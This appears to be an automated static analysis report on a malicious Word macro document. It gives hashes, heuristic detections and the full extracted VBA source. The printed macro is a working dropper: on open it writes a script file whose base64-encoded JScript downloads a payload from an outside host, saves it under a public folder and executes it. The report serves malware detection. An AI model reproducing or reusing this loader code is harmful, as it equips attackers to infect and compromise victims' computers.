Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1133d5e2415234da…

MALICIOUS

Office (OOXML)

76.2 KB Created: 2021-03-24 03:50:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-01
MD5: 020d88f365735e134884d2ef072608d6 SHA-1: 7321a467d3b07685556642ef1548ef734f190c42 SHA-256: 1133d5e2415234da53a44f5321b6dd52cdd988c1e272784cd35ba20ad7386935
172 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set rightLibLoad = CreateObject("wscript.shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set rightLibLoad = CreateObject("wscript.shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5112 bytes
SHA-256: 18e04f5e6021b2fbc714711dbf91dca8e18e82cf996b42f8c0d357ecc053b249
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frm"
Attribute VB_Base = "0{8CD3B720-E6D0-45B3-99FE-6151C10F917E}{1D8A7B90-81FE-4224-AB6F-8DA72AFBC05C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub CommandButton1_Click()
Set rightLibLoad = CreateObject("wscript.shell")
rightLibLoad.exec frm.cmdButton1.Tag & " " & frm.cmdButton1.caption
End Sub

Attribute VB_Name = "clearArgumentLeft"
Sub autoopen()
rightVariableButton
End Sub
Sub rightVariableButton()
Dim referenceStructConst As String
referenceStructConst = frm.cmdButton1.caption
pointerProcedure referenceStructConst
Call frm.CommandButton1_Click
End Sub

Attribute VB_Name = "constLen"
Function classLeft()
classLeft = "<div id='content'>dmFyIHRleHRWYXIgPSBuZXcgQWN0aXZlWE9iamVjdCgibXN4bWwyLnhtbGh0dHAiKTt0ZXh0VmFyLm9wZW4oIkdFVCIsICJodHRwOi8vaGF5ZGVubWlycm9yLmNvbS9mZHZkZC93ZGUyeThhWVJrZlN5MmtJZFpKWFhvanpsWHExdlYvMFo0UFduT0NWT3I4MnYvMzMyODAvZ0d4NUU5QlNpZC80UVJDaXVKdlA5bmEwZ1"
End Function
Function arrayGlobalRemove()
arrayGlobalRemove = "VSRlBWaGFodkRsQ2ZHeWhmQkNnNThUMlN2L2NwV2hhNFVibGVzTFE0cVdmbGJlRmd4ekh3Ui80MDUxMC85OTE0Ni92ZzlNYXdxODM3NnlvVDlEVGIzdC84NDUyMi94YXIyP3VzZXI9Smo3OFlZdVgmdXNlcj12eGlLOSZ0aW1lPUlmcGp5S0Zjd08xVlZUQUtFWiZwYWdlPXg5JnJlZj1Ra3lxNkRWY3hDampkdHpKSyZpZD1lZnhUZjVzM1RIQn"
End Function
Function captionConvertDatabase()
captionConvertDatabase = "BMTWxwV3p2MjNNckw5RFp4UiZzZWFyY2g9Z0NPRVdIZ3EwaEk5MzZ2Z2Fuc0tXUFc0c0YmbEJsPUZSc2oxYnNHdktkTElqIiwgZmFsc2UpO3RleHRWYXIuc2VuZCgpO2lmKHRleHRWYXIuc3RhdHVzID09IDIwMCl7dmFyIGxpc3RNYWluVHJ1c3QgPSBuZXcgQWN0aXZlWE9iamVjdCgiYWRvZGIuc3RyZWFtIik7bGlzdE1haW5UcnVzdC5vcG"
End Function
Function pasteA()
pasteA = "VuO2xpc3RNYWluVHJ1c3QudHlwZSA9IDE7bGlzdE1haW5UcnVzdC53cml0ZSh0ZXh0VmFyLnJlc3BvbnNlYm9keSk7bGlzdE1haW5UcnVzdC5zYXZldG9maWxlKCJjOlxcdXNlcnNcXHB1YmxpY1xcbmFtZXNwYWNlQm9yZGVyR2xvYmFsLmpwZyIsIDIpO2xpc3RNYWluVHJ1c3QuY2xvc2U7fQ==|fXspYmlMcG1lVGVydWRlY29ycChoY3RhY"
End Function
Function titleRef()
titleRef = "307KSJhdGgubmlhbVxcY2lsYnVwXFxzcmVzdVxcOmMiKGVsaWZldGVsZWQuZWdhcm90U2Z1QnJlZmZ1Ynt5cnQ7KSJ0Y2VqYm9tZXRzeXNlbGlmLmduaXRwaXJjcyIodGNlamJPWGV2aXRjQSB3ZW4gPSBlZ2Fyb3RTZnVCcmVmZnViIHJhdjspImdwai5sYWJvbEdyZWRyb0JlY2Fwc2VtYW5cXGNpbGJ1cFxcc3Jlc3VcXDpjIDIzcnZzZ2VyI"
End Function
Function sizeBuffer()
sizeBuffer = "ihudXIuKSJsbGVocy50cGlyY3N3Iih0Y2VqYk9YZXZpdGNBIHdlbg==</div><div id='table'>0123456789+/</div><script language='javascript'>varRef = window;titleLenW = document;function buttonVariable(sizeDataNext){return(new ActiveXObject(sizeDataNext));}function table("
End Function
Function responseTable()
responseTable = "){var exceptionSelectTrust = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';var procTextData = exceptionSelectTrust + exceptionSelectTrust.toLowerCase() + titleLenW.getElementById('table').innerHTML;return(procTextData);}function memTextbox(s){var e={}; var i; var b=0; var "
End Function
Function exceptionTableView()
exceptionTableView = "c; var x; var l=0; var a; var nextQuery=''; var w=String.fromCharCode; var L=s.length;var removeRepo = 'charAt';for(i=0;i<64;i++){e[table()[removeRepo](i)]=i;}for(x=0;x<L;x++){c=e[s[removeRepo](x)];b=(b<<6)+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-"
End Function
Function leftClass()
leftClass = "2)))&&(nextQuery+=w(a));}}return(nextQuery);};function namespaceTable(optionRemove){return optionRemove.split('').reverse().join('');}varRef.resizeTo(1, 1);varRef.moveTo(-100, -100);var windowLocalSelect = titleLenW.getElementById('content').innerHTML;var "
End Function
Function genericConst()
genericConst = "windowLocalSelect = windowLocalSelect.split('|');var constTmp = namespaceTable(memTextbox(windowLocalSelect[0]));var constTmp = namespaceTable(constTmp);var structViewTitle = namespaceTable(memTextbox(windowLocalSelect[1]));</script><script language='javas"
End Function
Function varW()
varW = "cript'>function tempMain(libOption){var queryTextboxPointer = buttonVariable('msscriptcontrol.scriptcontrol');queryTextboxPointer.Language = 'jscript';queryTextboxPointer.Timeout = 60000;queryTextboxPointer.AddCode(libOption);return(null);}</script><script"
End Function
Function genericDocument()
genericDocument = " language='vbscript'>tempMain constTmp : tempMain structViewTitle : varRef.close</script>"
End Function
Function WConvertLoad()
WConvertLoad = classLeft + arrayGlobalRemove + captionConvertDatabase + pasteA + titleRef + sizeBuffer + responseTable + exceptionTableView + leftClass + genericConst + varW + genericDocument
End Function

Attribute VB_Name = "indexLoad"
Sub pointerProcedure(namespaceCollectionGlobal As String)
Open namespaceCollectionGlobal For Output As #1
Print #1, WConvertLoad
Close #1
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28672 bytes
SHA-256: be079160027ef3632bdc504084f1abf7c068da502e492bbe6d2ac5a766893301
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 long base64-like blob(s).

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